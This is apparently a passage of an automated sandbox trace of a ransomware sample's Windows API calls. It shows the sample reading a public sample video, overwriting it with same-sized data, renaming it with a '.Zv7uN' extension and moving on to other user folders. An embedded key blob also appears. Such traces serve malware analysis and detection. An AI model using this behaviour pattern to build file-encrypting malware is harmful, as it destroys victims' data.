cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0089.169] GetCurrentThreadId () returned 0xa30 [0089.169] GetCurrentThreadId () returned 0xa30 [0089.169] GetCurrentThreadId () returned 0xa30 [0089.169] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0089.169] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0089.169] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0089.170] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x1907b8a [0089.170] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0089.170] VirtualAlloc (lpAddress=0x0, dwSize=0x1910000, flAllocationType=0x101000, flProtect=0x4) returned 0x7d690000 [0089.171] ReadFile (in: hFile=0x128, lpBuffer=0x7d690010, nNumberOfBytesToRead=0x1907b8a, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x7d690010*, lpNumberOfBytesRead=0x18f6a0*=0x1907b8a, lpOverlapped=0x0) returned 1 [0097.389] CloseHandle (hObject=0x128) returned 1 [0097.524] VirtualAlloc (lpAddress=0x0, dwSize=0x1910000, flAllocationType=0x101000, flProtect=0x4) returned 0x7bd80000 [0097.596] VirtualAlloc (lpAddress=0x0, dwSize=0xe0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7bca0000 [0097.705] VirtualQuery (in: lpAddress=0x7bd80000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7bd80000, AllocationBase=0x7bd80000, AllocationProtect=0x4, RegionSize=0x1910000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0097.705] VirtualAlloc (lpAddress=0x0, dwSize=0x120000, flAllocationType=0x101000, flProtect=0x4) returned 0x7bb80000 [0097.757] VirtualQuery (in: lpAddress=0x7bca0000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7bca0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xe0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0097.757] VirtualAlloc (lpAddress=0x7bca0000, dwSize=0x50000, flAllocationType=0x2000, flProtect=0x4) returned 0x7bca0000 [0097.757] VirtualAlloc (lpAddress=0x7bca0000, dwSize=0x50000, flAllocationType=0x1000, flProtect=0x4) returned 0x7bca0000 [0097.772] VirtualQuery (in: lpAddress=0x7bcf0000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7bcf0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x90000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0097.772] VirtualAlloc (lpAddress=0x7bcf0000, dwSize=0x60000, flAllocationType=0x2000, flProtect=0x4) returned 0x7bcf0000 [0097.772] VirtualAlloc (lpAddress=0x7bcf0000, dwSize=0x60000, flAllocationType=0x1000, flProtect=0x4) returned 0x7bcf0000 [0097.788] VirtualQuery (in: lpAddress=0x7bd50000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7bd50000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x30000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0097.788] VirtualAlloc (lpAddress=0x7bd50000, dwSize=0x30000, flAllocationType=0x2000, flProtect=0x4) returned 0x7bd50000 [0097.788] VirtualAlloc (lpAddress=0x7bd50000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x7bd50000 [0097.795] VirtualQuery (in: lpAddress=0x7bd80000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7bd80000, AllocationBase=0x7bd80000, AllocationProtect=0x4, RegionSize=0x1910000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0097.795] VirtualAlloc (lpAddress=0x0, dwSize=0x280000, flAllocationType=0x101000, flProtect=0x4) returned 0x7b900000 [0097.826] VirtualQuery (in: lpAddress=0x7bb80000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7bb80000, AllocationBase=0x7bb80000, AllocationProtect=0x4, RegionSize=0x120000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0097.826] VirtualFree (lpAddress=0x7bb80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.838] VirtualQuery (in: lpAddress=0x7bca0000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7bca0000, AllocationBase=0x7bca0000, AllocationProtect=0x4, RegionSize=0x50000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0097.838] VirtualFree (lpAddress=0x7bca0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.842] VirtualQuery (in: lpAddress=0x7bcf0000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7bcf0000, AllocationBase=0x7bcf0000, AllocationProtect=0x4, RegionSize=0x60000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0097.842] VirtualFree (lpAddress=0x7bcf0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.846] VirtualQuery (in: lpAddress=0x7bd50000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7bd50000, AllocationBase=0x7bd50000, AllocationProtect=0x4, RegionSize=0x30000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0097.846] VirtualFree (lpAddress=0x7bd50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0097.869] VirtualQuery (in: lpAddress=0x7bb80000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7bb80000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x200000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0097.870] VirtualAlloc (lpAddress=0x7bb80000, dwSize=0xa0000, flAllocationType=0x2000, flProtect=0x4) returned 0x7bb80000 [0097.870] VirtualAlloc (lpAddress=0x7bb80000, dwSize=0xa0000, flAllocationType=0x1000, flProtect=0x4) returned 0x7bb80000 [0097.888] VirtualQuery (in: lpAddress=0x7bc20000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7bc20000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x160000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0097.888] VirtualAlloc (lpAddress=0x7bc20000, dwSize=0xd0000, flAllocationType=0x2000, flProtect=0x4) returned 0x7bc20000 [0097.888] VirtualAlloc (lpAddress=0x7bc20000, dwSize=0xd0000, flAllocationType=0x1000, flProtect=0x4) returned 0x7bc20000 [0097.910] VirtualQuery (in: lpAddress=0x7bcf0000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7bcf0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x90000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0097.910] VirtualAlloc (lpAddress=0x7bcf0000, dwSize=0x90000, flAllocationType=0x2000, flProtect=0x4) returned 0x7bcf0000 [0097.911] VirtualAlloc (lpAddress=0x7bcf0000, dwSize=0x90000, flAllocationType=0x1000, flProtect=0x4) returned 0x7bcf0000 [0097.928] VirtualQuery (in: lpAddress=0x7bd80000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7bd80000, AllocationBase=0x7bd80000, AllocationProtect=0x4, RegionSize=0x1910000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0097.928] VirtualAlloc (lpAddress=0x0, dwSize=0x5a0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7b360000 [0098.854] VirtualQuery (in: lpAddress=0x7b900000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7b900000, AllocationBase=0x7b900000, AllocationProtect=0x4, RegionSize=0x280000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0098.854] VirtualFree (lpAddress=0x7b900000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.883] VirtualQuery (in: lpAddress=0x7bb80000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7bb80000, AllocationBase=0x7bb80000, AllocationProtect=0x4, RegionSize=0xa0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0098.883] VirtualFree (lpAddress=0x7bb80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.890] VirtualQuery (in: lpAddress=0x7bc20000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7bc20000, AllocationBase=0x7bc20000, AllocationProtect=0x4, RegionSize=0xd0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0098.890] VirtualFree (lpAddress=0x7bc20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.937] VirtualQuery (in: lpAddress=0x7bcf0000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7bcf0000, AllocationBase=0x7bcf0000, AllocationProtect=0x4, RegionSize=0x90000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0098.937] VirtualFree (lpAddress=0x7bcf0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.970] VirtualQuery (in: lpAddress=0x7b900000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7b900000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x480000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0098.970] VirtualAlloc (lpAddress=0x7b900000, dwSize=0x170000, flAllocationType=0x2000, flProtect=0x4) returned 0x7b900000 [0098.971] VirtualAlloc (lpAddress=0x7b900000, dwSize=0x170000, flAllocationType=0x1000, flProtect=0x4) returned 0x7b900000 [0099.005] VirtualQuery (in: lpAddress=0x7ba70000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7ba70000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x310000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0099.005] VirtualAlloc (lpAddress=0x7ba70000, dwSize=0x1d0000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ba70000 [0099.005] VirtualAlloc (lpAddress=0x7ba70000, dwSize=0x1d0000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ba70000 [0099.121] VirtualQuery (in: lpAddress=0x7bc40000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7bc40000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x140000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0099.121] VirtualAlloc (lpAddress=0x7bc40000, dwSize=0x140000, flAllocationType=0x2000, flProtect=0x4) returned 0x7bc40000 [0099.122] VirtualAlloc (lpAddress=0x7bc40000, dwSize=0x140000, flAllocationType=0x1000, flProtect=0x4) returned 0x7bc40000 [0099.154] VirtualQuery (in: lpAddress=0x7bd80000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7bd80000, AllocationBase=0x7bd80000, AllocationProtect=0x4, RegionSize=0x1910000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.154] VirtualAlloc (lpAddress=0x0, dwSize=0xcb0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7a6b0000 [0099.494] VirtualQuery (in: lpAddress=0x7b360000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7b360000, AllocationBase=0x7b360000, AllocationProtect=0x4, RegionSize=0x5a0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.494] VirtualFree (lpAddress=0x7b360000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.631] VirtualQuery (in: lpAddress=0x7b900000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7b900000, AllocationBase=0x7b900000, AllocationProtect=0x4, RegionSize=0x170000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.631] VirtualFree (lpAddress=0x7b900000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.646] VirtualQuery (in: lpAddress=0x7ba70000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7ba70000, AllocationBase=0x7ba70000, AllocationProtect=0x4, RegionSize=0x1d0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.647] VirtualFree (lpAddress=0x7ba70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.664] VirtualQuery (in: lpAddress=0x7bc40000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7bc40000, AllocationBase=0x7bc40000, AllocationProtect=0x4, RegionSize=0x140000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0099.664] VirtualFree (lpAddress=0x7bc40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.007] VirtualQuery (in: lpAddress=0x7b360000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7b360000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xa20000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0100.007] VirtualAlloc (lpAddress=0x7b360000, dwSize=0x330000, flAllocationType=0x2000, flProtect=0x4) returned 0x7b360000 [0100.007] VirtualAlloc (lpAddress=0x7b360000, dwSize=0x330000, flAllocationType=0x1000, flProtect=0x4) returned 0x7b360000 [0100.136] VirtualQuery (in: lpAddress=0x7b690000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7b690000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x6f0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0100.136] VirtualAlloc (lpAddress=0x7b690000, dwSize=0x400000, flAllocationType=0x2000, flProtect=0x4) returned 0x7b690000 [0100.137] VirtualAlloc (lpAddress=0x7b690000, dwSize=0x400000, flAllocationType=0x1000, flProtect=0x4) returned 0x7b690000 [0100.261] VirtualQuery (in: lpAddress=0x7ba90000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7ba90000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x2f0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0100.261] VirtualAlloc (lpAddress=0x7ba90000, dwSize=0x2f0000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ba90000 [0100.262] VirtualAlloc (lpAddress=0x7ba90000, dwSize=0x2f0000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ba90000 [0100.379] VirtualQuery (in: lpAddress=0x7bd80000, lpBuffer=0x18f5e8, dwLength=0x1c | out: lpBuffer=0x18f5e8*(BaseAddress=0x7bd80000, AllocationBase=0x7bd80000, AllocationProtect=0x4, RegionSize=0x1910000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0100.379] VirtualAlloc (lpAddress=0x0, dwSize=0x1c90000, flAllocationType=0x101000, flProtect=0x4) returned 0x78a20000 [0100.892] VirtualQuery (in: lpAddress=0x7a6b0000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7a6b0000, AllocationBase=0x7a6b0000, AllocationProtect=0x4, RegionSize=0xcb0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0100.892] VirtualFree (lpAddress=0x7a6b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.165] VirtualQuery (in: lpAddress=0x7b360000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7b360000, AllocationBase=0x7b360000, AllocationProtect=0x4, RegionSize=0x330000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0101.165] VirtualFree (lpAddress=0x7b360000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.193] VirtualQuery (in: lpAddress=0x7b690000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7b690000, AllocationBase=0x7b690000, AllocationProtect=0x4, RegionSize=0x400000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0101.193] VirtualFree (lpAddress=0x7b690000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.236] VirtualQuery (in: lpAddress=0x7ba90000, lpBuffer=0x18f5b4, dwLength=0x1c | out: lpBuffer=0x18f5b4*(BaseAddress=0x7ba90000, AllocationBase=0x7ba90000, AllocationProtect=0x4, RegionSize=0x2f0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0101.237] VirtualFree (lpAddress=0x7ba90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0102.944] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0102.947] WriteFile (in: hFile=0x128, lpBuffer=0x7bd80010*, nNumberOfBytesToWrite=0x1907b8a, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x7bd80010*, lpNumberOfBytesWritten=0x18f6ac*=0x1907b8a, lpOverlapped=0x0) returned 1 [0104.754] CloseHandle (hObject=0x128) returned 1 [0104.754] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), lpNewFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv.Zv7uN" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv.zv7un")) returned 1 [0104.756] VirtualFree (lpAddress=0x7d690000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0105.398] VirtualFree (lpAddress=0x7bd80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.008] VirtualFree (lpAddress=0x78a20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0107.854] GetCurrentThreadId () returned 0xa30 [0107.854] GetCurrentThreadId () returned 0xa30 [0107.854] GetCurrentThreadId () returned 0xa30 [0107.854] GetCurrentThreadId () returned 0xa30 [0107.854] GetCurrentThreadId () returned 0xa30 [0107.855] GetCurrentThreadId () returned 0xa30 [0107.855] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Wildlife.wmv", cAlternateFileName="")) returned 0 [0107.855] GetLastError () returned 0x12 [0107.855] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0107.856] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x58a6d220, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x58a6d220, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0107.856] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0107.856] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0107.856] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x58a6d220, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x58a6d220, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0107.857] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0107.857] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0107.857] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be12937, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0107.857] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x58a6d220, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Wildlife.wmv.Zv7uN", cAlternateFileName="")) returned 1 [0107.857] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0107.857] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0107.857] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x58a6d220, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Wildlife.wmv.Zv7uN", cAlternateFileName="")) returned 0 [0107.857] GetLastError () returned 0x12 [0107.857] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0107.857] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa32b602a, dwReserved1=0xba1113e9, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 0 [0107.857] GetLastError () returned 0x12 [0107.857] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0108.410] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb04, csidl=53, fCreate=0 | out: pszPath="C:\\Users\\Public\\Music") returned 1 [0108.421] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Music" (normalized: "c:\\users\\public\\music")) returned 0x11 [0108.422] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb04, csidl=53, fCreate=0 | out: pszPath="C:\\Users\\Public\\Music") returned 1 [0108.422] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xff44aade, dwReserved1=0xba1113e9, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0108.423] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xff44aade, dwReserved1=0xba1113e9, cFileName="..", cAlternateFileName="")) returned 1 [0108.423] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xff44aade, dwReserved1=0xba1113e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0108.423] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0108.423] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, 